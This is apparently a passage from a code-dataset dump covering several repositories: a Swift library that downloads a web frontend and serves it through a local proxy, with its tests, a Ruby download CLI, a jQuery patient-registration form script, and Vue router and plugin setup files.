expect(json?[\"c\"]) == \"d\"\n }\n \n it(\"should copy the content type\") {\n expect(output.contentType) == \"jpg\"\n }\n \n it(\"should copy the status code\") {\n expect(output.statusCode) == 25\n }\n \n }\n}\nimport Foundation\nimport Quick\nimport Nimble\nimport GCDWebServer\n\n@testable import Frontend\n\nclass FrontendRequestMapperSpec: QuickSpec {\n override func spec() {\n \n var sourceRequest: GCDWebServerRequest!\n var outputRequest: URLRequest!\n var subject: FrontendRequestMapper!\n \n beforeEach {\n sourceRequest = GCDWebServerRequest(method: \"GET\", url: URL(string: \"http://test.com\"), headers: [\"a\": \"b\"], path: \"/path\", query: [\"c\": \"d\"])\n subject = FrontendRequestMapper()\n outputRequest = subject.map(request: sourceRequest)\n }\n \n it(\"should have the correct http method\") {\n expect(outputRequest.httpMethod) == \"GET\"\n }\n \n it(\"should have the correct url\") {\n expect(outputRequest.url?.absoluteString) == \"http://test.com/path\"\n }\n \n it(\"should have the correct headers\") {\n expect(outputRequest.allHTTPHeaderFields! as [String: String]) == [\"a\": \"b\"]\n }\n \n it(\"should have the correct body\") {\n let bodyData = outputRequest.httpBody!\n let bodyJson = try! JSONSerialization.jsonObject(with: bodyData, options: []) as? [String: String]\n expect(bodyJson) == [\"c\": \"d\"]\n }\n \n }\n}\nimport Foundation\n\ninternal class FrontendDownloader {\n \n // MARK: - Properties\n \n internal let session: URLSession\n \n // MARK: - Init\n \n internal init(session: URLSession = URLSession(configuration: URLSessionConfiguration.default)) {\n self.session = session\n }\n \n // MARK: - Internal\n \n internal func download(manifestUrl: String, baseUrl: String, manifestMapper: @escaping ManifestMapper, downloadPath: String, progress: @escaping (_ downloaded: Int, _ total: Int) -> Void, completion: @escaping (Error?) -> Void) {\n self.downloadManifest(manifestUrl: manifestUrl, baseUrl: baseUrl, manifestMapper: manifestMapper) { (manifest, error) in\n if let error = error { completion(error)\n } else if let manifest = manifest {\n self.downloadFiles(manifest: manifest,\n downloadPath: downloadPath,\n completion: completion,\n progress: progress)\n }\n }\n }\n \n // MARK: - Private\n \n fileprivate func downloadFiles(manifest: Manifest, downloadPath: String, completion: (NSError?) -> Void, progress: (_ downloaded: Int, _ total: Int) -> Void) {\n var downloaded: [Manifest.File] = []\n let files: [Manifest.File] = manifest.files\n for file in files {\n // TODO\n /*\n 1. If the file is available, copy it\n 2. Else, download it\n\n */\n }\n }\n \n fileprivate func downloadManifest(manifestUrl: String, baseUrl: String, manifestMapper: @escaping ManifestMapper, completion: @escaping (Manifest?, Error?) -> Void) {\n var request: URLRequest = URLRequest(url: URL(string: manifestUrl)!)\n request.addValue(\"application/json\", forHTTPHeaderField: \"Accept\")\n self.session.dataTask(with: request) { (data, response, error) in\n if let error = error {\n completion(nil, error)\n return\n }\n guard let data = data else { return }\n do {\n let json = try JSONSerialization.jsonObject(with: data, options: [])\n completion(manifestMapper(baseUrl)(json as AnyObject), nil)\n } catch {\n completion(nil, error as NSError)\n }\n }.resume()\n }\n \n}\nrequire \"rest-client\"\nrequire \"json\"\nrequire 'fileutils'\nrequire 'zip'\nrequire_relative \"zip_file_generator\"\n\nmodule Frontend\n class Command\n\n def initialize(manifest_url, output_zip_file)\n @manifest_url = manifest_url\n @output_zip_file = output_zip_file\n end\n\n\n def execute\n begin\n temp_path = File.join(File.expand_path(Dir.pwd), \"tmp\")\n FileUtils.rm_rf(temp_path)\n FileUtils.mkdir(temp_path)\n manifest_json = self.download_manifest File.join(temp_path, \"app.json\")\n manifest_json[\"files\"].each do |file|\n self.download_file(file[0], temp_path)\n end\n zip(temp_path)\n ensure\n FileUtils.rm_rf(temp_path)\n end\n end\n\n protected\n\n def zip(path)\n puts \"==> Zipping to #{@output_zip_file}\"\n FileUtils.rm @output_zip_file, :force => true\n ZipFileGenerator.new(path, @output_zip_file).write\n end\n\n def download_manifest(save_path)\n puts \"==> Downloading manifest: #{@manifest_url}\"\n manifest_json = JSON.parse(RestClient.get(@manifest_url))\n manifest_json[\"base_url\"] = self.base_url\n File.open(save_path,\"w\") do |f|\n f.write(JSON.pretty_generate(manifest_json))\n end\n manifest_json\n end\n\n def download_file(file_path, save_path)\n puts \"===> Downloading file: #{file_path}\"\n url = File.join(self.base_url, file_path)\n file_folder = File.join(save_path, file_path)\n file_parent_folder = file_folder.split(\"/\")[0..-2].join(\"/\")\n FileUtils.mkdir_p file_parent_folder\n File.open(file_folder, 'w') {|f|\n RestClient.get url do |str|\n f.write str\n end\n }\n end\n\n def base_url\n @manifest_url.split(\"/\")[0..-2].join(\"/\")\n end\n\n end\nendrequire \"thor\"\nrequire \"frontend/version\"\nrequire_relative \"frontend/command\"\n\nclass FrontendCLI < Thor\n\n desc \"download MANIFEST_URL ZIP_PATH\", \"download the frontend specified in the MANIFEST_URL and compress it into a zip in ZIP_PATH\"\n def download(manifest_url, zip_path)\n Frontend::Command.new(manifest_url, zip_path).execute\n end\n\nend\n\nFrontendCLI.start(ARGV)import Foundation\nimport GCDWebServer\n\ninternal class FrontendConfigurator {\n \n // MARK: - Properties\n \n internal let proxyRequestMapper: FrontendProxyRequestMapper\n internal let proxyResources: [ProxyResource]\n internal let requestDispatcher: FrontendRequestDispatcher\n \n // MARK: - Init\n \n internal init(proxyResources: [ProxyResource],\n proxyRequestMapper: FrontendProxyRequestMapper = FrontendProxyRequestMapper(),\n requestDispatcher: FrontendRequestDispatcher = FrontendRequestDispatcher()) {\n self.proxyResources = proxyResources\n self.proxyRequestMapper = proxyRequestMapper\n self.requestDispatcher = requestDispatcher\n }\n \n // MARK: - Internal\n \n internal func configure(directoryPath directoryPath: String, server: GCDWebServer) {\n self.configureLocal(directoryPath: directoryPath, server: server)\n self.configureProxy(server: server)\n }\n \n // MARK: - Private\n \n private func configureLocal(directoryPath directoryPath: String, server: GCDWebServer) {\n server.addGETHandler(forBasePath: \"/\", directoryPath: directoryPath, indexFilename: \"index.html\", cacheAge: 3600, allowRangeRequests: true)\n }\n \n private func configureProxy(server server: GCDWebServer) {\n server.addHandler(match: { (method, url, headers, path, query) -> GCDWebServerRequest? in\n return self.proxyRequestMapper.map(method: method, url: url, headers: headers, path: path, query: query, proxyResources: self.proxyResources)\n return GCDWebServerRequest()\n }) { (request, completion) in\n self.requestDispatcher.dispatch(request: request!, completion: completion!)\n }\n }\n}\nimport Foundation\n\npublic typealias FrontendProgress = ((_ downloaded: Int, _ total: Int) -> Void)\npublic typealias FrontendCompletion = ((Error?) -> Void)\n\n@objc open class FrontendController: NSObject {\n \n // MARK: - Attributes\n \n internal let configuration: FrontendConfiguration\n internal let fileManager: FrontendFileManager\n internal let downloader: FrontendDownloader\n internal let server: FrontendServer\n open fileprivate(set) var downloading: Bool = false\n \n // MARK: - Init\n \n convenience public init(configuration: FrontendConfiguration) {\n let fileManager = FrontendFileManager(path: configuration.localPath, zipPath: configuration.zipPath)\n let downloader = FrontendDownloader()\n let server = FrontendServer(path: fileManager.currentPath(), port: configuration.port, proxyResources: configuration.proxyResources)\n self.init(configuration: configuration,\n fileManager: fileManager,\n downloader: downloader,\n server: server)\n }\n \n internal init(configuration: FrontendConfiguration,\n fileManager: FrontendFileManager,\n downloader: FrontendDownloader,\n server: FrontendServer) {\n self.configuration = configuration\n self.fileManager = fileManager\n self.downloader = downloader\n self.server = server\n }\n \n // MARK: - Public\n \n open func setup() throws {\n if !self.fileManager.currentAvailable() {\n try self.fileManager.replaceWithZipped()\n }\n else if self.fileManager.enqueuedAvailable() {\n try self.fileManager.replaceWithEnqueued()\n }\n if !self.fileManager.currentAvailable() {\n throw FrontendControllerError.noFrontendAvailable\n }\n try self.download(replacing: false)\n self.server.start()\n }\n \n open func url() -> String {\n return \"http://127.0.0.1:\\(self.configuration.port)\"\n }\n \n open func available() -> Bool {\n return self.fileManager.currentAvailable()\n }\n \n open func download(replacing replace: Bool, progress: FrontendProgress? = nil, completion: FrontendCompletion? = nil) throws {\n if self.downloading {\n throw FrontendControllerError.alreadyDownloading\n }\n self.downloader.download(manifestUrl: self.configuration.manifestUrl,\n baseUrl: self.configuration.baseUrl,\n manifestMapper: self.configuration.manifestMapper,\n downloadPath: self.fileManager.enqueuedPath(),\n progress: { (downloaded, total) in progress?(downloaded, total)\n }) { [weak self] error in\n self?.downloading = false\n if !replace {\n completion?(error)\n return\n }\n do {\n try self?.fileManager.replaceWithEnqueued()\n completion?(nil)\n } catch {\n completion?(error as NSError)\n }\n }\n }\n \n}\nimport Foundation\n\npublic struct ProxyResource: Equatable {\n \n // MARK: - Attributes\n \n internal let path: String\n internal let url: String\n \n // MARK: - Init\n \n public init(path: String, url: String) {\n self.path = path\n self.url = url\n }\n \n}\n\npublic func == (lhs: ProxyResource, rhs: ProxyResource) -> Bool {\n return lhs.path == rhs.path && lhs.url == rhs.url\n}# Frontend\n\n[![CI Status](http://img.shields.io/travis/̃́a/Frontend.svg?style=flat)](https://travis-ci.org/̃́a/Frontend)\n[![Version](https://img.shields.io/cocoapods/v/Frontend.svg?style=flat)](http://cocoapods.org/pods/Frontend)\n[![License](https://img.shields.io/cocoapods/l/Frontend.svg?style=flat)](http://cocoapods.org/pods/Frontend)\n[![Platform](https://img.shields.io/cocoapods/p/Frontend.svg?style=flat)](http://cocoapods.org/pods/Frontend)\n\n## Example\n\nTo run the example project, clone the repo, and run `pod install` from the Example directory first.\n\n## Requirements\n\n## Installation\n\nFrontend is available through [CocoaPods](http://cocoapods.org). To install\nit, simply add the following line to your Podfile:\n\n```ruby\npod \"Frontend\"\n```\n\n## Author\n\n, \n\n## License\n\nFrontend is available under the MIT license. See the LICENSE file for more info.\nimport Foundation\nimport GCDWebServer\n\ninternal class FrontendServer {\n \n // MARK: - Attributes\n \n private let path: String\n private let port: UInt\n private let proxyResources: [ProxyResource]\n internal let server: GCDWebServer\n internal let configurator: FrontendConfigurator\n \n // MARK: - Init\n \n internal convenience init(path: String, port: UInt, proxyResources: [ProxyResource]) {\n let server = GCDWebServer()!\n let configurator = FrontendConfigurator(proxyResources: proxyResources)\n self.init(path: path, port: port, proxyResources: proxyResources, server: server, configurator: configurator)\n }\n \n internal init(path: String, port: UInt, proxyResources: [ProxyResource], server: GCDWebServer, configurator: FrontendConfigurator) {\n self.path = path\n self.port = port\n self.proxyResources = proxyResources\n self.server = server\n self.configurator = configurator\n }\n \n // MARK: - Internal\n \n internal func start() -> Bool {\n self.configurator.configure(directoryPath: self.path, server: self.server)\n return self.server.start(withPort: self.port, bonjourName: nil)\n }\n \n}\nimport Foundation\nimport GCDWebServer\n\ninternal class FrontendRequestDispatcher {\n \n // MARK: - Attributes\n \n internal let requestMapper: FrontendRequestMapper\n internal let responseMapper: FrontendResponseMapper\n internal let session: URLSession\n \n // MARK: - Init\n \n internal init(requestMapper: FrontendRequestMapper = FrontendRequestMapper(),\n responseMapper: FrontendResponseMapper = FrontendResponseMapper(),\n session: URLSession = URLSession(configuration: URLSessionConfiguration.default)) {\n self.requestMapper = requestMapper\n self.responseMapper = responseMapper\n self.session = session\n }\n \n // MARK: - Internal\n \n internal func dispatch(request request: GCDWebServerRequest, completion: @escaping GCDWebServerCompletionBlock) {\n self.session.dataTask(with: self.requestMapper.map(request: request)) { (data, response, error) in\n completion(self.responseMapper.map(data: data, response: response, error: error))\n }.resume()\n }\n \n}\nimport Foundation\nimport Quick\nimport Nimble\nimport GCDWebServer\n\n@testable import Frontend\n\nclass FrontendConfiguratorSpec: QuickSpec {\n override func spec() {\n \n var server: MockGCDServer!\n var path: String!\n var subject: FrontendConfigurator!\n var proxyRequestMapper: MockProxyRequestMapper!\n var requestDispatcher: MockRequestDispatcher!\n \n beforeEach {\n server = MockGCDServer()\n path = \"path\"\n proxyRequestMapper = MockProxyRequestMapper()\n requestDispatcher = MockRequestDispatcher()\n subject = FrontendConfigurator(proxyResources: [], proxyRequestMapper: proxyRequestMapper, requestDispatcher: requestDispatcher)\n }\n \n describe(\"-configure:directoryPath:server\") {\n beforeEach {\n subject.configure(directoryPath: path, server: server)\n }\n describe(\"local\") {\n it(\"should add a get handler with the correct base path\") {\n expect(server.getHandlerBasePath) == \"/\"\n }\n it(\"should add a get handler with the correct directory path\") {\n expect(server.getHandlerDirectoryPath) == path\n }\n it(\"should add a get handler with the correct index file name\") {\n expect(server.getHandlerIndexFileName) == \"index.html\"\n }\n it(\"should add a get handler with the correct cache age\") {\n expect(server.getHandlerCacheAge) == 3600\n }\n it(\"should add a get handler with the correct allowRangeRequests\") {\n expect(server.getHandlerAllowRangeRequests) == true\n }\n }\n describe(\"remote\") {\n it(\"should map the correct method\") {\n expect(proxyRequestMapper.mappedMethod) == \"GET\"\n }\n it(\"should map the correct url\") {\n expect(proxyRequestMapper.mappedURL) == URL(string: \"url\")!\n }\n it(\"should map the correct headers\") {\n expect(proxyRequestMapper.mappedHeaders as? [String: String]) == [:]\n }\n it(\"should map the correct path\") {\n expect(proxyRequestMapper.mappedPath) == \"path\"\n }\n it(\"should map the correct query\") {\n expect(proxyRequestMapper.mappedQuery as? [String: String]) == [:]\n }\n it(\"should return the request\") {\n expect(server.returnedRequest).toNot(beNil())\n }\n it(\"should dispatch the request\") {\n expect(requestDispatcher.dispatchedRequest).to(beIdenticalTo(server.returnedRequest))\n }\n }\n }\n }\n}\n\n// MARK: - Mock\n\nprivate class MockProxyRequestMapper: FrontendProxyRequestMapper {\n \n var mappedMethod: String!\n var mappedURL: URL!\n var mappedHeaders: [AnyHashable: Any]!\n var mappedPath: String!\n var mappedQuery: [AnyHashable: Any]!\n\n fileprivate override func map(method: String!, url: URL!, headers: [AnyHashable : Any]!, path: String!, query: [AnyHashable : Any]!, proxyResources: [ProxyResource]) -> GCDWebServerRequest? {\n self.mappedMethod = method\n self.mappedURL = url\n self.mappedHeaders = headers\n self.mappedPath = path\n self.mappedQuery = query\n return GCDWebServerRequest(method: \"GET\", url: URL(string: \"url\")!, headers: [:], path: \"pepi\", query: [:])\n }\n \n}\n\nprivate class MockRequestDispatcher: FrontendRequestDispatcher {\n \n var dispatchedRequest: GCDWebServerRequest!\n \n fileprivate override func dispatch(request: GCDWebServerRequest, completion: @escaping GCDWebServerCompletionBlock) {\n self.dispatchedRequest = request\n }\n\n}\n\nprivate class MockGCDServer: GCDWebServer {\n \n var getHandlerBasePath: String!\n var getHandlerDirectoryPath: String!\n var getHandlerIndexFileName: String!\n var getHandlerCacheAge: UInt!\n var getHandlerAllowRangeRequests: Bool!\n \n var returnedRequest: GCDWebServerRequest!\n \n fileprivate override func addGETHandler(forBasePath basePath: String!, directoryPath: String!, indexFilename: String!, cacheAge: UInt, allowRangeRequests: Bool) {\n self.getHandlerBasePath = basePath\n self.getHandlerDirectoryPath = directoryPath\n self.getHandlerIndexFileName = indexFilename\n self.getHandlerCacheAge = cacheAge\n self.getHandlerAllowRangeRequests = allowRangeRequests\n }\n \n fileprivate override func addHandler(match matchBlock: GCDWebServerMatchBlock!, asyncProcessBlock processBlock: GCDWebServerAsyncProcessBlock!) {\n self.returnedRequest = matchBlock(\"GET\", URL(string: \"url\")!, [:], \"path\", [:])\n processBlock(self.returnedRequest, { _ in })\n }\n}\nimport Foundation\nimport Quick\nimport Nimble\n\n@testable import Frontend\n\nclass FrontendConfigurationSpec: QuickSpec {\n override func spec() {\n \n var manifestUrl: String!\n var baseUrl: String!\n var port: UInt!\n var proxyResources: [ProxyResource]!\n var subject: FrontendConfiguration!\n var zipPath: String!\n \n beforeEach {\n manifestUrl = \"manifestUrl\"\n baseUrl = \"baseUrl\"\n port = 8080\n proxyResources = [ProxyResource(path: \"path\", url: \"url\")]\n zipPath = \"path\"\n }\n \n describe(\"-init\") {\n \n beforeEach {\n subject = FrontendConfiguration(manifestUrl: manifestUrl,\n baseUrl: baseUrl,\n port: port,\n zipPath: zipPath,\n proxyResources: proxyResources)\n }\n \n it(\"should set the correct manifestUrl\") {\n expect(subject.manifestUrl) == manifestUrl\n }\n \n it(\"should set the correct baseUrl\") {\n expect(subject.baseUrl) == baseUrl\n }\n \n it(\"should have the correct proxyResources\") {\n expect(subject.proxyResources) == proxyResources\n }\n \n it(\"should set the correct localPath\") {\n expect(subject.localPath) == FrontendConfiguration.defaultDirectory()\n }\n \n it(\"should have the correct zipPath\") {\n expect(subject.zipPath) == zipPath\n }\n }\n \n }\n}import Foundation\nimport GCDWebServer\n\ninternal class FrontendResponseMapper {\n \n internal func map(data data: Data?, response: URLResponse?, error: Error?) -> GCDWebServerResponse {\n let httpUrlResponse = (response as? HTTPURLResponse)\n let contentType = httpUrlResponse?.allHeaderFields[\"Content-Type\"] as? String ?? \"\"\n var response: GCDWebServerDataResponse!\n if let data = data {\n response = GCDWebServerDataResponse(data: data, contentType: contentType)\n } else {\n response = GCDWebServerDataResponse()\n }\n //TODO: What if Error?\n //TODO: Update the source url?\n if let statusCode = httpUrlResponse?.statusCode {\n response?.statusCode = statusCode\n }\n for header in (httpUrlResponse?.allHeaderFields ?? [:]).keys {\n response.setValue(httpUrlResponse!.allHeaderFields[header] as! String!, forAdditionalHeader: header as! String)\n }\n return response\n }\n \n}\nimport Foundation\n\npublic enum FrontendManifestError: Error {\n case invalidManifest(String)\n case unconvertibleJSON\n}\n\npublic enum FrontendFileManagerError: Error {\n case notAvailable\n}\n\npublic enum FrontendControllerError: Error, Equatable {\n case alreadyDownloading\n case noFrontendAvailable\n}\nimport Foundation\nimport GCDWebServer\n\ninternal class FrontendRequestMapper {\n \n internal func map(request: GCDWebServerRequest) -> URLRequest {\n var urlRequest: URLRequest = URLRequest(url: request.url.appendingPathComponent(request.path))\n urlRequest.httpMethod = request.method\n urlRequest.allHTTPHeaderFields = request.headers as? [String: String]\n urlRequest.httpBody = try? JSONSerialization.data(withJSONObject: request.query, options: [])\n return urlRequest\n }\n \n}\nimport Foundation\nimport SwiftyJSON\n\npublic typealias ManifestMapper = (String) -> ((AnyObject) -> Manifest)\n\ninternal var DefaultManifestMapper: ManifestMapper = { baseUrl in\n return { input -> Manifest in\n let json = JSON(input)\n let commit = json[\"commit\"].stringValue\n let buildAuthor = json[\"build_author\"].stringValue\n let gitBranch = json[\"git_branch\"].stringValue\n let timestamp = json[\"timestamp\"].intValue\n var files: [Manifest.File] = []\n for element in json[\"files\"].enumerated() {\n let path: String = element.element.0\n let hash: String = element.element.1.stringValue\n let file: Manifest.File = Manifest.File(path: path, hash: hash)\n files.append(file)\n }\n return Manifest(baseUrl: baseUrl,\n commit: commit,\n buildAuthor: buildAuthor,\n gitBranch: gitBranch,\n timestamp: timestamp,\n files: files)\n }\n}\n"},"directory_id":{"kind":"string","value":"c8e4fafe3f9058b562824e9871fc8efe661d23fe"},"languages":{"kind":"list like","value":["Swift","Ruby","Markdown"],"string":"[\n \"Swift\",\n \"Ruby\",\n \"Markdown\"\n]"},"num_files":{"kind":"number","value":29,"string":"29"},"repo_language":{"kind":"string","value":"Swift"},"repo_name":{"kind":"string","value":"johndpope/Frontend-1"},"revision_id":{"kind":"string","value":"df97d1e92ea1e29a39d04d5b9cda8984384e224b"},"snapshot_id":{"kind":"string","value":"983dcf76dd8b69ff87a09f17700f46b5aeec5eaa"}}},{"rowIdx":145,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"$(document).ready(function () {\r\n $('.date').mask('0000/00/00');\r\n $('.phone').mask('00000-0000');\r\n $('.cpf').mask('000.000.000-00', { reverse: true });\r\n \r\n \r\n carregar();\r\n\r\n SNButton.init(\"cadastrarPaciente\", {\r\n\t\t\tfields: [\"nome\", \"celular\", \"cpf\", \"dataNascimento\"]\r\n });\r\n });\r\n\r\n\r\n var $pacientes = $('#pacientes');\r\n var $nome = $('#nome');\r\n var $cpf = $('#cpf');\r\n var $dataNascimento = $('#dataNascimento');\r\n var $celular = $('#celular');\r\n var key = \"23be778f-d904-4491-861a-6d226da05b49\";\r\n var urlbase = \"http://si.shx.com.br:9999/shx-teste-backend/paciente/v2/\";\r\n var $idEdicao = 0;\r\n\r\n\r\n var carregar = function () {\r\n $.ajax({\r\n type: 'GET',\r\n dataType: 'json',\r\n url: urlbase + \"findall/\" + key,\r\n success: function carregarDados(data) {\r\n $pacientes.empty();\r\n JSON.stringify(data);\r\n $.each(data.body, function (i, paciente) {\r\n $pacientes.append\r\n (`\r\n \r\n ${paciente.nome}\r\n ${paciente.cpf} \r\n ${paciente.dataNascimento} \r\n ${paciente.celular} \r\n \r\n \r\n \r\n \r\n \r\n `\r\n );\r\n });\r\n\r\n $('.remover').on('click', function (e) {\r\n deletar(e.target.id);\r\n });\r\n\r\n $('.editar').on('click', function (e) {\r\n editar(e.target.id);\r\n });\r\n\r\n },\r\n error: function () {\r\n alert('Erro Ao tentar abrir o API');\r\n document.write('

Erro ao tentar API.

');\r\n }\r\n });\r\n }\r\n\r\n\r\n var deletar = function (id) {\r\n var data = {\r\n id: id,\r\n chave: key\r\n };\r\n\r\n $.ajax({\r\n type: 'DELETE',\r\n contentType: \"application/json\",\r\n dataType: \"json\",\r\n url: urlbase + \"remove\",\r\n data: JSON.stringify(data),\r\n success: function (response) {\r\n carregar();\r\n },\r\n error: function (error) {\r\n alert(error)\r\n }\r\n });\r\n }\r\n\r\n\r\n var editar = function (id) {\r\n var data = {\r\n id: id,\r\n chave: key\r\n }\r\n\r\n $.ajax({\r\n type: 'POST',\r\n contentType: \"application/json\",\r\n dataType: \"json\",\r\n url: urlbase + \"findone\",\r\n data: JSON.stringify(data),\r\n success: function (response) {\r\n mostrarDadosEdicao(response.body);\r\n },\r\n error: function (error) {\r\n alert(error)\r\n }\r\n });\r\n }\r\n\r\n var mostrarDadosEdicao = function (dados) {\r\n $nome.val(dados.nome);\r\n $dataNascimento.val(dados.dataNascimento);\r\n $cpf.val(dados.cpf);\r\n $celular.val(dados.celular);\r\n $idEdicao = dados.id;\r\n\r\n $('#labelCadastro').hide();\r\n $('#cadastrarPaciente').hide();\r\n $('#labelEdicao').show();\r\n $('#editarPaciente').show();\r\n $('#formularioModal').modal('show');\r\n }\r\n\r\n\r\n $('#showModalCadastrar').on('click', function () {\r\n $('#adicionarPaciente')[0].reset();\r\n $('#labelCadastro').show();\r\n $('#cadastrarPaciente').show();\r\n $('#labelEdicao').hide();\r\n $('#editarPaciente').hide();\r\n\r\n \r\n });\r\n\r\n\r\n $('#cadastrarPaciente').on('click', function () {\r\n \r\n var novoPaciente = {\r\n nome: $nome.val(),\r\n dataNascimento: $dataNascimento.val(),\r\n cpf: $cpf.val().replace('.', '', ).replace('.', '').replace('-', ''),\r\n celular: $celular.val().replace('-', ''),\r\n chave: key\r\n }; \r\n\r\n $.ajax({\r\n type: 'POST',\r\n contentType: \"application/json\",\r\n dataType: \"json\",\r\n url: urlbase + \"persist\",\r\n data: JSON.stringify(novoPaciente),\r\n beforeSend: function(){\r\n \r\n },\r\n success: function (criarPaciente) {\r\n carregar();\r\n $('#formularioModal').modal('hide');\r\n $('form input:text').val(''); \r\n },\r\n error: function(jqXHR) {\r\n alert('Erro ao adicionar dados.');\r\n \r\n console.log('jqXHR:');\r\n console.log(jqXHR);\r\n\r\n }\r\n \r\n });\r\n \r\n\r\n });\r\n\r\n \r\n $('#editarPaciente').on('click', function (e) {\r\n\r\n var pacienteEditado = {\r\n nome: $nome.val(),\r\n dataNascimento: $dataNascimento.val(),\r\n cpf: $cpf.val().replace('.', '', ).replace('.', '').replace('-', ''),\r\n celular: $celular.val().replace('-', ''),\r\n chave: key,\r\n id: $idEdicao\r\n }; \r\n\r\n $.ajax({\r\n type: 'PUT',\r\n contentType: \"application/json\",\r\n dataType: \"json\",\r\n url: urlbase + \"merge\",\r\n data: JSON.stringify(pacienteEditado),\r\n success: function (response) {\r\n $('#formularioModal').modal('hide');\r\n $('form input:text').val('');\r\n carregar();\r\n\r\n }\r\n })\r\n });\r\n\r\n $('#cancelar').on('click', function(e) {\r\n $('form input:text').val('');\r\n });"},"directory_id":{"kind":"string","value":"26f90adc721db79c6a31b396eaf8bc7810c18fcb"},"languages":{"kind":"list like","value":["JavaScript"],"string":"[\n \"JavaScript\"\n]"},"num_files":{"kind":"number","value":1,"string":"1"},"repo_language":{"kind":"string","value":"JavaScript"},"repo_name":{"kind":"string","value":"slainr/teste"},"revision_id":{"kind":"string","value":"eca47c5e59198f3caba575f3ebc1d91fb7dae28c"},"snapshot_id":{"kind":"string","value":"9821dcde6f9db8646c3e285a62f6859c784ca329"}}},{"rowIdx":146,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"/**\n * Created by christopher on 12/09/17.\n */\nimport Vue from 'vue'\nimport BootstrapVue from 'bootstrap-vue'\nimport 'bootstrap/dist/css/bootstrap.css'\nimport 'bootstrap-vue/dist/bootstrap-vue.css'\n\nVue.use(BootstrapVue);\nimport Vue from 'vue'\nimport Router from 'vue-router'\nimport Hello from '@/example/Hello'\nimport login01 from '../example/login/login01.vue'\nimport login01Scroll from '../example/login/login01-scroll.vue'\nimport login02 from '../example/login/login02.vue'\nimport login02Scroll from '../example/login/login02-scroll.vue'\nimport login03 from '../example/login/login03.vue'\nimport login03Scroll from '../example/login/login03-scroll.vue'\nimport login04 from '../example/login/login04.vue'\nimport templateDefalt from '../example/templateDefalt.vue'\nimport aside from '../components/aside.vue'\n\nVue.use(Router)\n\nexport default new Router({\n routes: [\n {\n path: '/',\n name: 'Hello',\n component: Hello\n },\n {\n path: '/login01',\n name: 'login01',\n component: login01\n },\n {\n path: '/login02',\n name: 'login02',\n component: login02\n },\n {\n path: '/login03',\n name: 'login03',\n component: login03\n },\n {\n path: '/login01Scroll',\n name: 'login01Scroll',\n component: login01Scroll\n },\n {\n path: '/login02Scroll',\n name: 'login02Scroll',\n component: login02Scroll\n },\n {\n path: '/login03Scroll',\n name: 'login03Scroll',\n component: login03Scroll\n },\n {\n path: '/login04',\n name: 'login04',\n component: login04\n },\n {\n path: '/templateDefalt',\n name: 'templateDefalt',\n component: templateDefalt\n },\n {\n path: '/aside',\n name: 'aside',\n component: aside\n }\n ]\n})\n/**\n * Created by christopher on 12/09/17.\n */\nimport Vue from 'vue'\n/*import ElementUI from 'element-ui'\nimport 'element-ui/lib/theme-default/index.css'\n\nimport locale from 'element-ui/lib/locale/lang/pt-br'\n\n\nVue.use(ElementUI, { locale });*/\n\nimport ElementUI from 'element-ui'\nimport 'element-ui/lib/theme-chalk/index.css'\nVue.use(ElementUI);\n/**\n * Created by christopher on 12/09/17.\n */\nimport temaBootstrap from './src/temaBootstrap'\nimport myComponent from './src/components/myComponent.vue'\nimport myBotao from './src/components/myBotao.vue'\nimport RenderFildText from './src/components/RenderFildText.vue'\n\nexport {\n myComponent,\n myBotao,\n RenderFildText\n}\nimport Vue from 'vue'\nimport Router from 'vue-router'\nimport HelloWorld from '@/example/HelloWorld.vue'\nimport aside from '@/components/myAside'\nimport myLogin from '@/components/myLogin'\nimport myCreatUser from '@/components/myCreatUser'\nimport myForgotPassword from '@/components/myForgotPassword'\n\nVue.use(Router)\n\nexport default new Router({\n routes: [\n {\n path: '/HelloWorld',\n name: 'Hello',\n component: HelloWorld\n },\n {\n path: '/aside',\n name: 'aside',\n component: aside\n },\n {\n path: '/',\n name: 'myLogin',\n component: myLogin\n },\n {\n path: '/creat',\n name: 'myCreatUser',\n component: myCreatUser\n },\n {\n path: '/forgotPassword',\n name: 'myForgotPassword',\n component: myForgotPassword\n }\n ]\n})\n/**\n * Created by christopher on 17/10/17.\n */\nimport myComponent from './components'\nimport cssGlobal from \"./src/cssGlobal\"\n\nexport {myComponent}\n/**\n * Created by christopher on 08/11/17.\n */\nimport Vue from 'vue'\nimport cssGlobal from './assets/css-global.css'\n\nimport ElementUI from 'element-ui'\nimport 'element-ui/lib/theme-chalk/index.css'\n\nVue.use(ElementUI);\n\nexport {\n}\nimport myAside from \"./src/components/myAside\"\nimport myHeader from \"./src/components/myHeader\"\nimport myBody from \"./src/components/myBody\"\n\nimport myActionsButton from \"./src/components/myActionsButton.vue\"\nimport myDetailsShow from \"./src/components/myDetailsShow.vue\"\nimport myContainer from \"./src/components/myContainer.vue\"\nimport myModuleTitle from \"./src/components/myModuleTitle.vue\"\n\nimport myLogin from './src/components/myLogin'\nimport myCreatUser from \"./src/components/myCreatUser\"\nimport myForgotPassword from \"./src/components/myForgotPassword\"\nimport myProfile from \"./src/components/myProfile\"\n\nimport myExTableSearch from \"./src/example/myExTableSearch.vue\"\nimport myExCreate from \"./src/example/myExCreate.vue\"\nimport myExShow from \"./src/example/myExShow.vue\"\n\nconst MyPlugin = {\n install(Vue) {\n Vue.component(\"myExTableSearch\", myExTableSearch);\n Vue.component(\"myExCreate\", myExCreate);\n Vue.component(\"myExShow\", myExShow);\n\n Vue.component(\"myActionsButton\", myActionsButton);\n Vue.component(\"myDetailsShow\", myDetailsShow);\n Vue.component(\"myModuleTitle\", myModuleTitle);\n Vue.component(\"myContainer\", myContainer);\n\n Vue.component(\"myLogin\", myLogin);\n Vue.component(\"myCreatUser\", myCreatUser);\n Vue.component(\"myForgotPassword\", myForgotPassword);\n Vue.component(\"myProfile\", myProfile);\n\n Vue.component(\"myAside\", myAside);\n Vue.component(\"myHeader\", myHeader);\n Vue.component(\"myBody\", myBody);\n }\n};\n\nexport default MyPlugin\n"},"directory_id":{"kind":"string","value":"fe72478b8415d0c55350b708561f8602b053d1f1"},"languages":{"kind":"list like","value":["JavaScript"],"string":"[\n 